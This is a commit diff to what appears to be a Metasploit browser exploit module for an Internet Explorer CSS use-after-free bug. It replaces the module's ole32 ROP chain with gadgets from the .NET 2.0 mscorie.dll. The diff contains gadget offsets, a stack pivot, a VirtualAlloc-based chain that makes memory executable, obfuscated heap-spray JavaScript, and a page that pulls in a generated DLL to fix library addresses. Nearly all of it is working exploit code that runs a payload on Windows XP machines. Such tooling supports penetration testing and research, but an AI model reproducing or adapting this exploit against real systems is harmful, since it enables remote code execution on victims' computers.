switch to .NET 2.0 ROP, Merry Xmas!
git-svn-id: file:///home/svn/framework3/trunk@11390 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3662fb4bc6
commit
c4c0cabccb
|
@ -133,11 +133,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Full-disclosure post was Dec 8th, original blog Nov 29th
|
# Full-disclosure post was Dec 8th, original blog Nov 29th
|
||||||
'DisclosureDate' => 'Nov 29 2010',
|
'DisclosureDate' => 'Nov 29 2010',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ])
|
|
||||||
], self.class)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -145,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
mytarget = nil
|
mytarget = nil
|
||||||
|
|
||||||
agent = request.headers['User-Agent']
|
agent = request.headers['User-Agent']
|
||||||
print_status("Checking user agent: #{agent}")
|
#print_status("Checking user agent: #{agent}")
|
||||||
if agent =~ /MSIE 6\.0/
|
if agent =~ /MSIE 6\.0/
|
||||||
mytarget = targets[3]
|
mytarget = targets[3]
|
||||||
elsif agent =~ /MSIE 7\.0/
|
elsif agent =~ /MSIE 7\.0/
|
||||||
|
@ -195,16 +190,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||||
|
|
||||||
# Generate the ROP payload
|
# Generate the ROP payload
|
||||||
# We need a different set of RVAs without MS10-083. Can we detect this remotely?
|
rvas = rvas_mscorie_v2()
|
||||||
if datastore['OldOle32']
|
|
||||||
rvas = rvas_pre()
|
|
||||||
else
|
|
||||||
rvas = rvas_post()
|
|
||||||
end
|
|
||||||
rop_stack = generate_rop(buf_addr, rvas)
|
rop_stack = generate_rop(buf_addr, rvas)
|
||||||
fix_esp = rva2addr(rvas, 'ret 0x38')
|
fix_esp = rva2addr(rvas, 'leave / ret')
|
||||||
ret = rva2addr(rvas, 'ret')
|
ret = rva2addr(rvas, 'ret')
|
||||||
pivot = rva2addr(rvas, 'xchg eax, esp / ret')
|
pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
|
||||||
|
pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')
|
||||||
|
|
||||||
# Append the payload to the rop_stack
|
# Append the payload to the rop_stack
|
||||||
rop_stack << p.encoded
|
rop_stack << p.encoded
|
||||||
|
@ -220,24 +211,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
|
special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')
|
||||||
|
|
||||||
# Low byte must not have bit 1 set
|
# Low byte must not have bit 1 set
|
||||||
no_bit1 = rand(0xffffffff) & ~2
|
no_bit1 = rand(0xff) & ~2
|
||||||
special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V')
|
special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')
|
||||||
|
|
||||||
# These are deref'd to figure out what to call
|
# These are deref'd to figure out what to call
|
||||||
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
|
special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
|
||||||
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
|
special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
|
||||||
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
|
special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
|
||||||
# Finally, this one becomes eip
|
# Finally, this one becomes eip
|
||||||
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V')
|
special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')
|
||||||
|
|
||||||
# This byte must be signed (shorter path to flow control)
|
# This byte must be signed (shorter path to flow control)
|
||||||
signed_byte = rand(0xff) | 0x80
|
signed_byte = rand(0xff) | 0x80
|
||||||
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
|
special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')
|
||||||
|
|
||||||
# These offsets become a fix_esp ret chain ..
|
# These offsets become a fix_esp ret chain ..
|
||||||
special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
|
special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot!
|
||||||
special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c)
|
special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp
|
||||||
special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now.
|
special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax)
|
||||||
|
|
||||||
# Add in the rest of the ROP stack
|
# Add in the rest of the ROP stack
|
||||||
special_sauce[0x84, rop_stack.length] = rop_stack
|
special_sauce[0x84, rop_stack.length] = rop_stack
|
||||||
|
@ -245,9 +236,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
# Format for javascript use
|
# Format for javascript use
|
||||||
special_sauce = Rex::Text.to_unescape(special_sauce)
|
special_sauce = Rex::Text.to_unescape(special_sauce)
|
||||||
|
|
||||||
|
js_function = rand_text_alpha(rand(100)+1)
|
||||||
|
|
||||||
# Construct the javascript
|
# Construct the javascript
|
||||||
custom_js = <<-EOS
|
custom_js = <<-EOS
|
||||||
function prepare() {
|
function #{js_function}() {
|
||||||
heap = new heapLib.ie(0x20000);
|
heap = new heapLib.ie(0x20000);
|
||||||
var heapspray = unescape("#{special_sauce}");
|
var heapspray = unescape("#{special_sauce}");
|
||||||
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
|
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
|
||||||
|
@ -255,10 +248,6 @@ var heapblock = heapspray;
|
||||||
while(heapblock.length < 0x40000) heapblock += heapblock;
|
while(heapblock.length < 0x40000) heapblock += heapblock;
|
||||||
finalspray = heapblock.substring(2, 0x40000 - 0x21);
|
finalspray = heapblock.substring(2, 0x40000 - 0x21);
|
||||||
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
|
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
|
||||||
}
|
|
||||||
|
|
||||||
function start() {
|
|
||||||
prepare();
|
|
||||||
var vlink = document.createElement("link");
|
var vlink = document.createElement("link");
|
||||||
vlink.setAttribute("rel", "Stylesheet");
|
vlink.setAttribute("rel", "Stylesheet");
|
||||||
vlink.setAttribute("type", "text/css");
|
vlink.setAttribute("type", "text/css");
|
||||||
|
@ -275,6 +264,10 @@ EOS
|
||||||
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
|
custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
|
||||||
js = heaplib(custom_js)
|
js = heaplib(custom_js)
|
||||||
|
|
||||||
|
dll_uri = get_resource()
|
||||||
|
dll_uri << '/' if dll_uri[-1,1] != '/'
|
||||||
|
dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"
|
||||||
|
|
||||||
# Construct the final page
|
# Construct the final page
|
||||||
html = <<-EOS
|
html = <<-EOS
|
||||||
<html>
|
<html>
|
||||||
|
@ -283,7 +276,8 @@ EOS
|
||||||
#{js}
|
#{js}
|
||||||
</script>
|
</script>
|
||||||
</head>
|
</head>
|
||||||
<body onload='start()'>
|
<body onload='#{js_function}()'>
|
||||||
|
<object classid="#{dll_uri}#GenericControl">
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
EOS
|
EOS
|
||||||
|
@ -292,6 +286,21 @@ EOS
|
||||||
|
|
||||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||||
|
|
||||||
|
elsif request.uri =~ /\.dll$/
|
||||||
|
print_status("Sending #{self.refname} DLL to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
|
||||||
|
# Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
|
||||||
|
# use it's contents ...
|
||||||
|
ibase = (0x2000 | rand(0x8000)) << 16
|
||||||
|
dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))
|
||||||
|
|
||||||
|
# Send a .NET v2.0 DLL down
|
||||||
|
send_response(cli, dll,
|
||||||
|
{
|
||||||
|
'Content-Type' => 'application/x-msdownload',
|
||||||
|
'Connection' => 'close',
|
||||||
|
'Pragma' => 'no-cache'
|
||||||
|
})
|
||||||
|
|
||||||
else
|
else
|
||||||
css = <<-EOS
|
css = <<-EOS
|
||||||
@import url("#{placeholder}");
|
@import url("#{placeholder}");
|
||||||
|
@ -313,43 +322,27 @@ EOS
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def rvas_post()
|
def rvas_mscorie_v2()
|
||||||
# ole32.dll version 5.1.2600.6010, post MS10-083
|
# mscorie.dll version v2.0.50727.3053
|
||||||
# Just return this hash
|
# Just return this hash
|
||||||
{
|
{
|
||||||
'xchg eax, esp / ret' => 0x7b60e,
|
'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
|
||||||
'ret 0x38' => 0x607f1,
|
'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
|
||||||
'ret' => 0x7b60e+1,
|
'leave / ret' => 0x25e5,
|
||||||
'push eax / ret' => 0x1d1e4,
|
'ret' => 0x25e5+1,
|
||||||
'pop eax / ret' => 0x58cab,
|
'mov eax, [eax] / ret' => 0x22a2,
|
||||||
'pop ebx / ret' => 0x1da39,
|
|
||||||
'pop ecx / ret' => 0x50479,
|
|
||||||
'mov eax, [eax] / ret' => 0x22a20,
|
|
||||||
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9,
|
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9,
|
||||||
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2,
|
|
||||||
'add edi, [ebx] / ret' => 0x2cc26,
|
|
||||||
'rep movsb / pop edi / pop esi / ret' => 0x372c6,
|
|
||||||
'call [ebx]' => 0x2ad9
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
def rvas_pre()
|
'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
|
||||||
# ole32.dll version 5.1.2600.5512, pre MS10-083
|
'push eax / ret' => 0x1d1e4,
|
||||||
# Just return this hash
|
'pop eax / ret' => 0x5ba1,
|
||||||
{
|
'pop ebx / ret' => 0x54c0,
|
||||||
'xchg eax, esp / ret' => 0x7b5e6,
|
'pop ecx / ret' => 0x1e13,
|
||||||
'ret 0x38' => 0x607c7,
|
'pop esi / ret' => 0x1d9a,
|
||||||
'ret' => 0x7b5e6+1,
|
'pop edi / ret' => 0x2212,
|
||||||
'push eax / ret' => 0x1d264,
|
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
|
||||||
'pop eax / ret' => 0x1af34,
|
'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
|
||||||
'pop ebx / ret' => 0x1dae4,
|
'call [ecx]' => 0x1ec4
|
||||||
'pop ecx / ret' => 0x4f82a,
|
|
||||||
'mov eax, [eax] / ret' => 0x22ef3,
|
|
||||||
'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589,
|
|
||||||
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a,
|
|
||||||
'add edi, [ebx] / ret' => 0x2d0f6,
|
|
||||||
'rep movsb / pop edi / pop esi / ret' => 0x37796,
|
|
||||||
'call [ebx]' => 0x2ad9
|
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -357,50 +350,46 @@ EOS
|
||||||
# ROP fun! (XP SP3 English, Dec 15 2010)
|
# ROP fun! (XP SP3 English, Dec 15 2010)
|
||||||
rvas.merge!({
|
rvas.merge!({
|
||||||
# Instructions / Name => RVA
|
# Instructions / Name => RVA
|
||||||
'BaseAddress' => 0x774e0000,
|
'BaseAddress' => 0x63f00000,
|
||||||
'imp_VirtualAlloc' => 0x1448,
|
'imp_VirtualAlloc' => 0x10f4
|
||||||
'Writable' => 0x12719c
|
|
||||||
})
|
})
|
||||||
|
|
||||||
rop_stack = [
|
rop_stack = [
|
||||||
# Allocate an RWX memory segment
|
# Allocate an RWX memory segment
|
||||||
'pop eax / ret',
|
'pop ecx / ret',
|
||||||
'imp_VirtualAlloc',
|
'imp_VirtualAlloc',
|
||||||
|
|
||||||
'mov eax, [eax] / ret',
|
'call [ecx] / pop ebp / ret 0xc',
|
||||||
'push eax / ret',
|
|
||||||
'ret',
|
|
||||||
0, # lpAddress
|
0, # lpAddress
|
||||||
0x1000, # dwSize
|
0x1000, # dwSize
|
||||||
0x3000, # flAllocationType
|
0x3000, # flAllocationType
|
||||||
0x40, # flProt
|
0x40, # flProt
|
||||||
|
:unused,
|
||||||
|
|
||||||
# Copy the original payload
|
# Copy the original payload
|
||||||
'pop ecx / ret',
|
'pop ecx / ret',
|
||||||
'Writable',
|
:unused,
|
||||||
|
:unused,
|
||||||
|
:unused,
|
||||||
|
:memcpy_dst,
|
||||||
|
|
||||||
'mov [ecx], eax / xor eax, eax / pop esi / ret',
|
'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
|
||||||
|
:unused,
|
||||||
|
|
||||||
|
'pop esi / ret',
|
||||||
|
:unused,
|
||||||
|
:unused,
|
||||||
|
:unused,
|
||||||
:memcpy_src,
|
:memcpy_src,
|
||||||
|
|
||||||
'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4',
|
'pop edi / ret',
|
||||||
:unused,
|
0xdeadf00d # to be filled in above
|
||||||
|
|
||||||
'pop ebx / ret',
|
|
||||||
:unused,
|
|
||||||
'Writable',
|
|
||||||
|
|
||||||
'add edi, [ebx] / ret',
|
|
||||||
|
|
||||||
'pop ecx / ret',
|
|
||||||
0x200,
|
|
||||||
|
|
||||||
'rep movsb / pop edi / pop esi / ret',
|
|
||||||
:unused,
|
|
||||||
:unused,
|
|
||||||
|
|
||||||
# Execute the payload ;)
|
|
||||||
'call [ebx]'
|
|
||||||
]
|
]
|
||||||
|
(0x200 / 4).times {
|
||||||
|
rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
|
||||||
|
}
|
||||||
|
# Execute the payload ;)
|
||||||
|
rop_stack << 'call [ecx]'
|
||||||
|
|
||||||
rop_stack.map! { |e|
|
rop_stack.map! { |e|
|
||||||
if e.kind_of? String
|
if e.kind_of? String
|
||||||
|
@ -416,6 +405,10 @@ EOS
|
||||||
# Based on stack length..
|
# Based on stack length..
|
||||||
buf_addr + 0x84 + (rop_stack.length * 4)
|
buf_addr + 0x84 + (rop_stack.length * 4)
|
||||||
|
|
||||||
|
elsif e == :memcpy_dst
|
||||||
|
# Store our new memory ptr into our buffer for later popping :)
|
||||||
|
buf_addr + 0x84 + (21 * 4)
|
||||||
|
|
||||||
else
|
else
|
||||||
# Literal
|
# Literal
|
||||||
e
|
e
|
||||||
|
|
Loading…
Reference in New Issue